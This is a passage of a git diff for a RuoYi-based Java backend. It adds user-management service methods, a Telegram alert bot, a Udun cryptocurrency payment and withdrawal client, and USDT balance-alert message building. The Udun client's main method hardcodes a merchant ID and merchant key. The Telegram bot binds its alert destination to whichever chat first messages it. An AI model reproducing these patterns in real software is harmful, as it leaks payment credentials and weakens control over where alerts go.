StringUtil.isNotEmpty(me.getUserType()) && me.getUserType().indexOf("0")==-1){ + user.setParentId(me.getUserId()); + } + // 新增用户信息 + int rows = userMapper.insertUser(user); + // 新增用户岗位关联 + insertUserPost(user); + // 新增用户与角色管理 + insertUserRole(user); + return rows; + } + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean registerUser(SysUser user) + { + return userMapper.insertUser(user) > 0; + } + + /** + * 修改保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int updateUser(SysUser user) + { + Long userId = user.getUserId(); + // 删除用户与角色关联 + userRoleMapper.deleteUserRoleByUserId(userId); + // 新增用户与角色管理 + insertUserRole(user); + // 删除用户与岗位关联 + userPostMapper.deleteUserPostByUserId(userId); + // 新增用户与岗位管理 + insertUserPost(user); + return userMapper.updateUser(user); + } + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + @Override + @Transactional + public void insertUserAuth(Long userId, Long[] roleIds) + { + userRoleMapper.deleteUserRoleByUserId(userId); + insertUserRole(userId, roleIds); + } + + /** + * 修改用户状态 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int updateUserStatus(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int updateUserProfile(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + @Override + public boolean updateUserAvatar(String userName, String avatar) + { + return userMapper.updateUserAvatar(userName, avatar) > 0; + } + + /** + * 重置用户密码 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int resetPwd(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + @Override + public int resetUserPwd(String userName, String password) + { + return userMapper.resetUserPwd(userName, password); + } + + /** + * 新增用户角色信息 + * + * @param user 用户对象 + */ + public void insertUserRole(SysUser user) + { + this.insertUserRole(user.getUserId(), user.getRoleIds()); + } + + /** + * 新增用户岗位信息 + * + * @param user 用户对象 + */ + public void insertUserPost(SysUser user) + { + Long[] posts = user.getPostIds(); + if (StringUtils.isNotEmpty(posts)) + { + // 新增用户与岗位管理 + List list = new ArrayList(posts.length); + for (Long postId : posts) + { + SysUserPost up = new SysUserPost(); + up.setUserId(user.getUserId()); + up.setPostId(postId); + list.add(up); + } + userPostMapper.batchUserPost(list); + } + } + + /** + * 新增用户角色信息 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + public void insertUserRole(Long userId, Long[] roleIds) + { + if (StringUtils.isNotEmpty(roleIds)) + { + // 新增用户与角色管理 + List list = new ArrayList(roleIds.length); + for (Long roleId : roleIds) + { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + list.add(ur); + } + userRoleMapper.batchUserRole(list); + } + } + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + @Override + @Transactional + public int deleteUserById(Long userId) + { + // 删除用户与角色关联 + userRoleMapper.deleteUserRoleByUserId(userId); + // 删除用户与岗位表 + userPostMapper.deleteUserPostByUserId(userId); + return userMapper.deleteUserById(userId); + } + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + @Override + @Transactional + public int deleteUserByIds(Long[] userIds) + { + for (Long userId : userIds) + { + checkUserAllowed(new SysUser(userId)); + checkUserDataScope(userId); + } + // 删除用户与角色关联 + userRoleMapper.deleteUserRole(userIds); + // 删除用户与岗位关联 + userPostMapper.deleteUserPost(userIds); + return userMapper.deleteUserByIds(userIds); + } + + /** + * 导入用户数据 + * + * @param userList 用户数据列表 + * @param isUpdateSupport 是否更新支持,如果已存在,则进行更新数据 + * @param operName 操作用户 + * @return 结果 + */ + @Override + public String importUser(List userList, Boolean isUpdateSupport, String operName) + { + if (StringUtils.isNull(userList) || userList.size() == 0) + { + throw new ServiceException("导入用户数据不能为空!"); + } + int successNum = 0; + int failureNum = 0; + StringBuilder successMsg = new StringBuilder(); + StringBuilder failureMsg = new StringBuilder(); + String password = configService.selectConfigByKey("sys.user.initPassword"); + for (SysUser user : userList) + { + try + { + // 验证是否存在这个用户 + SysUser u = userMapper.selectUserByUserName(user.getUserName()); + if (StringUtils.isNull(u)) + { + BeanValidators.validateWithException(validator, user); + user.setPassword(SecurityUtils.encryptPassword(password)); + user.setCreateBy(operName); + userMapper.insertUser(user); + successNum++; + successMsg.append("
    " + successNum + "、账号 " + user.getUserName() + " 导入成功"); + } + else if (isUpdateSupport) + { + BeanValidators.validateWithException(validator, user); + checkUserAllowed(u); + checkUserDataScope(u.getUserId()); + user.setUserId(u.getUserId()); + user.setUpdateBy(operName); + userMapper.updateUser(user); + successNum++; + successMsg.append("
    " + successNum + "、账号 " + user.getUserName() + " 更新成功"); + } + else + { + failureNum++; + failureMsg.append("
    " + failureNum + "、账号 " + user.getUserName() + " 已存在"); + } + } + catch (Exception e) + { + failureNum++; + String msg = "
    " + failureNum + "、账号 " + user.getUserName() + " 导入失败:"; + failureMsg.append(msg + e.getMessage()); + log.error(msg, e); + } + } + if (failureNum > 0) + { + failureMsg.insert(0, "很抱歉,导入失败!共 " + failureNum + " 条数据格式不正确,错误如下:"); + throw new ServiceException(failureMsg.toString()); + } + else + { + successMsg.insert(0, "恭喜您,数据已全部导入成功!共 " + successNum + " 条,数据如下:"); + } + return successMsg.toString(); + } + + @Override + @Transactional + public int bindingAppUser(Long userId, Long[] appUserIds) { + int i = 0; + //查询组长或者代理 + String adminParentIds = ""; + SysUser sysUser = userMapper.selectUserById(userId); + if (sysUser!=null){ + //先删除之前绑定的玩家用户 + tAppUserService.delUpdateByAdminUserId(userId); + if (sysUser.getUserType().equals("1") || Objects.isNull(sysUser.getParentId())){ + adminParentIds = sysUser.getUserId()+",0"; + } else if (sysUser.getUserType().equals("2")) { + adminParentIds = userId+","+sysUser.getParentId(); + } + if (appUserIds!=null && appUserIds.length>0){ + for (int j = 0; j < appUserIds.length; j++) { + TAppUser tAppUser = new TAppUser(); + tAppUser.setUserId(appUserIds[j]); + tAppUser.setAdminParentIds(adminParentIds); + tAppUser.setUpdateBy(userId+""); + i = tAppUserService.updateTAppUser(tAppUser); + } + } + }else{ + i = 0; + } + return i; + } + + @Override + @Transactional + public int bindingAdminUser(Long userId, Long[] adminUserIds) { + int i = 0; + if (adminUserIds!=null && adminUserIds.length>0){ + for (int j = 0; j < adminUserIds.length; j++) { + SysUser sysUser = new SysUser(); + sysUser.setUserId(adminUserIds[j]); + sysUser.setParentId(userId); + sysUser.setUpdateTime(DateUtils.getNowDate()); + sysUser.setUpdateBy(userId+""); + i = userMapper.updateUser(sysUser); + } + } + return i; + } + + @Override + public List selectUnboundAdminUser(SysUser user) { + return userMapper.selectUnboundAdminUser(user); + } + + @Override + public void updateUserForGoogleKey(SysUser user) { + userMapper.updateUserForGoogleKey(user.getGoogleKey(),user.getUserId()); + } + + @Override + public List selectAllAgentUser(SysUser user) { + return userMapper.selectAllAgentUser(user); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java new file mode 100644 index 0000000..3d68477 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java @@ -0,0 +1,90 @@ +package com.ruoyi.telegrambot; + +import cn.hutool.json.JSON; +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.TgBotSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.bots.TelegramLongPollingBot; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; +import org.telegram.telegrambots.meta.api.objects.Chat; +import org.telegram.telegrambots.meta.api.objects.Update; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; + +import javax.annotation.PostConstruct; +import javax.annotation.Resource; + +@Slf4j +@Component +public class MyTelegramBot extends TelegramLongPollingBot { + + private String userName; + private String token; + private String charId; + private boolean hasCharId; + + @Resource + private SettingService settingService; + + + + public void initMyTelegramBot(){ + this.hasCharId=false; + Setting setting = settingService.get(SettingEnum.TG_BOT_SETTING.name()); + if(null != setting){ + TgBotSetting tgBotSetting = JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class); + this.userName=tgBotSetting.getBotName(); + this.token=tgBotSetting.getBotToken(); + if(StringUtils.isNotEmpty(tgBotSetting.getChatId())){ + this.charId=tgBotSetting.getChatId(); + hasCharId=true; + } + + } + log.debug("初始化MyTelegramBot==========:{}",this); + } + + + @Override + public void onUpdateReceived(Update update) { + Chat chat = update.getMessage().getChat(); + if(!hasCharId && null==charId && null != chat){ + charId = chat.getId()+""; + Setting setting = settingService.get(SettingEnum.TG_BOT_SETTING.name()); + TgBotSetting tgBotSetting = JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class); + tgBotSetting.setChatId(charId); + setting.setSettingValue(JSONUtil.toJsonStr(tgBotSetting)); + settingService.saveUpdate(setting); + } + log.info("update{}:",update); + } + + @Override + public String getBotUsername() { + return userName; + } + + @Override + public String getBotToken() { + return token; + } + + + + public void toSend(SendMessage sendMessage) { + try { + if(null!=sendMessage.getText()&&!sendMessage.getText().equals("")){ + sendMessage.setChatId(charId); + execute(sendMessage); + } + } catch (TelegramApiException e) { + log.debug(e.getMessage()); + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java new file mode 100644 index 0000000..77aeba8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java @@ -0,0 +1,64 @@ +package com.ruoyi.telegrambot; + +import com.ruoyi.common.utils.StringUtils; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; +import org.springframework.context.annotation.Configuration; +import org.telegram.telegrambots.bots.TelegramLongPollingBot; +import org.telegram.telegrambots.meta.TelegramBotsApi; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +import org.telegram.telegrambots.meta.generics.BotSession; +import org.telegram.telegrambots.updatesreceivers.DefaultBotSession; + + +import javax.annotation.PostConstruct; +import javax.annotation.PreDestroy; +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.List; + +@Configuration +@Slf4j +@ConditionalOnClass(TelegramBotsApi.class) +@RequiredArgsConstructor +public class TelegramBotConfig{ + + private List sessions = new ArrayList<>(); + + private final List pollingBots = new ArrayList<>(); + + + @Resource + private MyTelegramBot myTelegramBot; + + + public void start() throws TelegramApiException { + stop(); + myTelegramBot.initMyTelegramBot(); + log.info("Starting auto config for telegram bots"); + TelegramBotsApi telegramBotsApi = new TelegramBotsApi(DefaultBotSession.class); + pollingBots.clear(); + pollingBots.add(myTelegramBot); + pollingBots.forEach(bot -> { + try { + log.info("Registering polling bot: {}", bot.getBotUsername()); + sessions.add(telegramBotsApi.registerBot(bot)); + } catch (TelegramApiException e) { + log.error("Failed to register bot {} due to error", bot.getBotUsername(), e); + } + }); + } + + public void stop() { + log.info("STOP ===============:{}",sessions); + sessions.forEach(session -> { + if (session != null && session.isRunning()) { + session.stop(); + } + }); + sessions.clear(); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java new file mode 100644 index 0000000..134fb27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java @@ -0,0 +1,113 @@ +package com.ruoyi.udun.client; + +import com.ruoyi.udun.domain.Address; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import com.ruoyi.udun.exception.UdunException; +import java.math.BigDecimal; +import java.util.List; +public interface UdunApi { + /** + * 创建币种地址,别名和钱包编号默认,回调地址使用统一配置 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @return 地址 + */ + Address createAddress(String mainCoinType) throws UdunException; + + /** + * 创建币种地址,别名和钱包编号自定义,回调地址使用统一配置 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param alias 地址别名 + * @param walletId 钱包编号 + * @return 地址 + */ + Address createAddress(String mainCoinType, String alias, String walletId) throws UdunException; + + /** + * 创建币种地址,别名和钱包编号自定义,回调地址自定义 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param alias 地址别名 + * @param walletId 钱包编号 + * @param callUrl 回调地址 + * @return 地址 + */ + Address createAddress(String mainCoinType, String alias, String walletId, String callUrl) throws UdunException; + + + /** + * 提币,回调地址使用统一配置 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @return 返回信息 + */ + ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo); + + /** + * 提币,回调地址自定义 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @param callUrl 回调地址 + * @return 返回信息 + */ + ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl); + + /** + * 代付,回调地址使用统一配置 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @return 返回信息 + */ + ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo); + + /** + * 代付,回调地址自定义 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @param callUrl 回调地址 + * @return 返回信息 + */ + ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl); + + /** + * 检验地址合法性 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param address 币种地址 + * @return 是否合法 + */ + boolean checkAddress(String mainCoinType, String address); + + /** + * 获取商户支持的币种,以及余额 + * + * @param showBalance 是否显示余额 + * @return 支持币种列表 + */ + List listSupportCoin(boolean showBalance); + + + boolean existAdress(String mainCoinType, String address); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java new file mode 100644 index 0000000..50084ac --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java @@ -0,0 +1,186 @@ +package com.ruoyi.udun.client; + +import cn.hutool.core.lang.Console; +import cn.hutool.core.util.StrUtil; +import cn.hutool.http.HttpStatus; +import cn.hutool.json.JSONUtil; +import com.ruoyi.common.utils.UdunUtils; +import com.ruoyi.udun.constant.ApiPath; +import com.ruoyi.udun.domain.Address; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import com.ruoyi.udun.exception.UdunException; +import lombok.extern.slf4j.Slf4j; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@Slf4j +public class UdunClient implements UdunApi { + private static Logger logger = LoggerFactory.getLogger(UdunClient.class); + + /** + * UDUN API Gateway + */ + private final String gateway; + + /** + * UDUN Merchant Number + */ + private final String merchantId; + + /** + * UDUN Merchant Key + */ + private final String merchantKey; + + /** + * Callback to business system + */ + private final String defaultCallBackUrl; + + public UdunClient(String gateway, String merchantId, String merchantKey, String defaultCallBackUrl) { + this.gateway = gateway; + this.merchantId = merchantId; + this.merchantKey = merchantKey; + this.defaultCallBackUrl = defaultCallBackUrl; + } + + @Override + public Address createAddress(String mainCoinType) throws UdunException { + return createAddress(mainCoinType, "", "", defaultCallBackUrl); + } + + @Override + public Address createAddress(String mainCoinType, String alias, String walletId) throws UdunException{ + return createAddress(mainCoinType, alias, walletId, defaultCallBackUrl); + } + + @Override + public Address createAddress(String mainCoinType, String alias, String walletId, String callUrl) throws UdunException{ + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("coinType", mainCoinType); + params.put("callUrl", callUrl); + params.put("walletId", walletId); + params.put("alias", alias); + + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.CREATE_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + if (result.getCode() != HttpStatus.HTTP_OK) { + logger.error("createAddress:{}",JSONUtil.toJsonStr(result)); + throw new UdunException(result.getCode(), result.getMessage()); + } + return JSONUtil.toBean(result.getData(), Address.class); + } + + @Override + public ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo) { + return withdraw(address, amount, mainCoinType, coinType, businessId, memo, defaultCallBackUrl); + } + + @Override + public ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl) { + Map params = new HashMap<>(); + params.put("address", address); + params.put("amount", amount); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("coinType", coinType); + params.put("callUrl", callUrl); + params.put("businessId", businessId); + params.put("memo", memo); + + return JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.WITHDRAW, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + } + + @Override + public ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo) { + return autoWithdraw(address, amount, mainCoinType, coinType, businessId, memo, defaultCallBackUrl); + } + + @Override + public ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl) { + Map params = new HashMap<>(); + params.put("address", address); + params.put("amount", amount); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("coinType", coinType); + params.put("callUrl", callUrl); + params.put("businessId", businessId); + params.put("memo", memo); + return JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.AUTO_WITHDRAW, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + } + + @Override + public boolean checkAddress(String mainCoinType, String address) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("address", address); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.CHECK_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + return result.getCode() == HttpStatus.HTTP_OK; + } + + @Override + public List listSupportCoin(boolean showBalance) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("showBalance", showBalance); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.SUPPORT_COIN, JSONUtil.toJsonStr(params)), ResultMsg.class); + if (result.getCode() != HttpStatus.HTTP_OK) { + Console.error(JSONUtil.toJsonStr(result)); + return null; + } + return JSONUtil.toList(JSONUtil.parseArray(result.getData()), Coin.class); + } + + @Override + public boolean existAdress(String mainCoinType, String address) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("address", address); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.EXIST_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + return result.getCode() == HttpStatus.HTTP_OK; + } + + public static void main(String[] args) { +// //初始化 +// UdunClient udunClient = new UdunClient("https://sig10.udun.io", +// "314177", +// "bbf46150bed52da26bdedf356cdc4bff", +// "https://sig10.udun.io/udun/notify"); +// //获取商户支持币种 +// List coinList1 = udunClient.listSupportCoin(false); +// for (Coin coin:coinList1 +// ) { +// System.out.println(coin.toString()); +// } +// //创建地址 +// Address address3 = udunClient.createAddress("0"); +// System.out.println(address3); + + + //初始化 + UdunClient udunClient1 = new UdunClient("https://sig11.udun.io", + "312031", + "275476702cf57392cf1381fd2f332347", + "https://sig11.udun.io/udun/notify"); + //获取商户支持币种 + List coinList = udunClient1.listSupportCoin(false); + + boolean a= udunClient1.existAdress("60","0x67420992cd19f65ce792912b53c973ba71211d60"); + System.out.println(a); + + for (Coin coin:coinList + ) { + System.out.println(coin.toString()); + } + + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java b/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java new file mode 100644 index 0000000..916de1f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java @@ -0,0 +1,15 @@ +package com.ruoyi.udun.constant; + +public class ApiPath { + public final static String CREATE_ADDRESS = "/mch/address/create"; + public final static String WITHDRAW = "/mch/withdraw"; + public final static String TRANSACTION = "/mch/transaction"; + public final static String AUTO_WITHDRAW = "/mch/withdraw/proxypay"; + public final static String SUPPORT_COIN = "/mch/support-coins"; + public final static String CHECK_PROXY = "/mch/check-proxy"; + public final static String CHECK_ADDRESS = "/mch/check/address"; + public final static String CREATE_BATCH_ADDRESS = "/mch/address/create/batch"; + + public final static String EXIST_ADDRESS="/mch/exist/address"; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java new file mode 100644 index 0000000..42a61e6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java @@ -0,0 +1,31 @@ +package com.ruoyi.udun.domain; + + +public class Address { + private String address; + private int coinType; + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public int getCoinType() { + return coinType; + } + + public void setCoinType(int coinType) { + this.coinType = coinType; + } + + @Override + public String toString() { + return "Address{" + + "address='" + address + '\'' + + ", coinType=" + coinType + + '}'; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java new file mode 100644 index 0000000..44c5657 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java @@ -0,0 +1,78 @@ +package com.ruoyi.udun.domain; + +import java.math.BigDecimal; + +public class Coin { + private String name; + private String symbol; + private String mainCoinType; + private String coinType; + private String decimals; + private Integer tokenStatus; + private String mainSymbol; + private BigDecimal balance; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getSymbol() { + return symbol; + } + + public void setSymbol(String symbol) { + this.symbol = symbol; + } + + public String getMainCoinType() { + return mainCoinType; + } + + public void setMainCoinType(String mainCoinType) { + this.mainCoinType = mainCoinType; + } + + public String getCoinType() { + return coinType; + } + + public void setCoinType(String coinType) { + this.coinType = coinType; + } + + public String getDecimals() { + return decimals; + } + + public void setDecimals(String decimals) { + this.decimals = decimals; + } + + public Integer getTokenStatus() { + return tokenStatus; + } + + public void setTokenStatus(Integer tokenStatus) { + this.tokenStatus = tokenStatus; + } + + public String getMainSymbol() { + return mainSymbol; + } + + public void setMainSymbol(String mainSymbol) { + this.mainSymbol = mainSymbol; + } + + public BigDecimal getBalance() { + return balance; + } + + public void setBalance(BigDecimal balance) { + this.balance = balance; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java new file mode 100644 index 0000000..7593013 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java @@ -0,0 +1,40 @@ +package com.ruoyi.udun.domain; + +public class ResultMsg { + private Integer code; + private String message; + private String data; + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } + + public String getData() { + return data; + } + + public void setData(String data) { + this.data = data; + } + + @Override + public String toString() { + return "ResultMsg{" + + "code=" + code + + ", message='" + message + '\'' + + ", data='" + data + '\'' + + '}'; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java new file mode 100644 index 0000000..60a5ffb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java @@ -0,0 +1,125 @@ +package com.ruoyi.udun.domain; + +import java.math.BigDecimal; + +public class Trade { + //交易Id + private String txId; + //交易流水号 + private String tradeId; + //交易地址 + private String address; + //币种类型 + private String mainCoinType; + //代币类型,erc20为合约地址 + private String coinType; + //交易金额 + private BigDecimal amount; + //交易类型 1-充值 2-提款(转账) + private int tradeType; + //交易状态 0-待审核 1-成功 2-失败,充值无审核 + private int status; + //旷工费 + private BigDecimal fee; + private int decimals; + //提币申请单号 + private String businessId; + //备注 + private String memo; + + public String getTxId() { + return txId; + } + + public void setTxId(String txId) { + this.txId = txId; + } + + public String getTradeId() { + return tradeId; + } + + public void setTradeId(String tradeId) { + this.tradeId = tradeId; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public String getMainCoinType() { + return mainCoinType; + } + + public void setMainCoinType(String mainCoinType) { + this.mainCoinType = mainCoinType; + } + + public String getCoinType() { + return coinType; + } + + public void setCoinType(String coinType) { + this.coinType = coinType; + } + + public BigDecimal getAmount() { + return amount; + } + + public void setAmount(BigDecimal amount) { + this.amount = amount; + } + + public int getTradeType() { + return tradeType; + } + + public void setTradeType(int tradeType) { + this.tradeType = tradeType; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public BigDecimal getFee() { + return fee; + } + + public void setFee(BigDecimal fee) { + this.fee = fee; + } + + public int getDecimals() { + return decimals; + } + + public void setDecimals(int decimals) { + this.decimals = decimals; + } + + public String getBusinessId() { + return businessId; + } + + public void setBusinessId(String businessId) { + this.businessId = businessId; + } + + public String getMemo() { + return memo; + } + + public void setMemo(String memo) { + this.memo = memo; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java b/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java new file mode 100644 index 0000000..f2f6323 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java @@ -0,0 +1,28 @@ +package com.ruoyi.udun.exception; + +public class UdunException extends RuntimeException { + private Integer code; + private String message; + + public UdunException(Integer code, String message) { + this.code = code; + this.message = message; + } + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + @Override + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java b/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java new file mode 100644 index 0000000..2a2d62d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java @@ -0,0 +1,85 @@ +package com.ruoyi.util; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.common.enums.RecordEnum; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.Objects; + +public class BotMessageBuildUtils { + + public static SendMessage buildUsdtText(TAppAddressInfo tAppAddressInfo , BigDecimal diffUsdt){ + + SendMessage sendMessage = new SendMessage(); + StringBuilder sb = new StringBuilder(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + if (tAppAddressInfo.getUsdt() != null && Objects.nonNull(diffUsdt) && diffUsdt.compareTo(BigDecimal.ZERO) != 0) { + + if (diffUsdt.compareTo(BigDecimal.ZERO) > 0) { + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("USDT余额增加").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + } else { + sb.append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("⚠️⚠️⚠️USDT余额减少⚠️⚠️⚠️").append("\uD83D\uDCB8\uD83D\uDCB8\uD83D\uDCB8").append("\n"); + } + sb.append("\n\n"); + //sb.append("\uD83E\uDDD1\uD83C\uDFFB\u200D\uD83E\uDDB0用户名:").append(remark).append("\n"); + sb.append("\uD83C\uDD94用户ID:").append(tAppAddressInfo.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("\uD83C\uDF17历史余额:").append(diffUsdt.stripTrailingZeros().toPlainString()).append("\n"); + 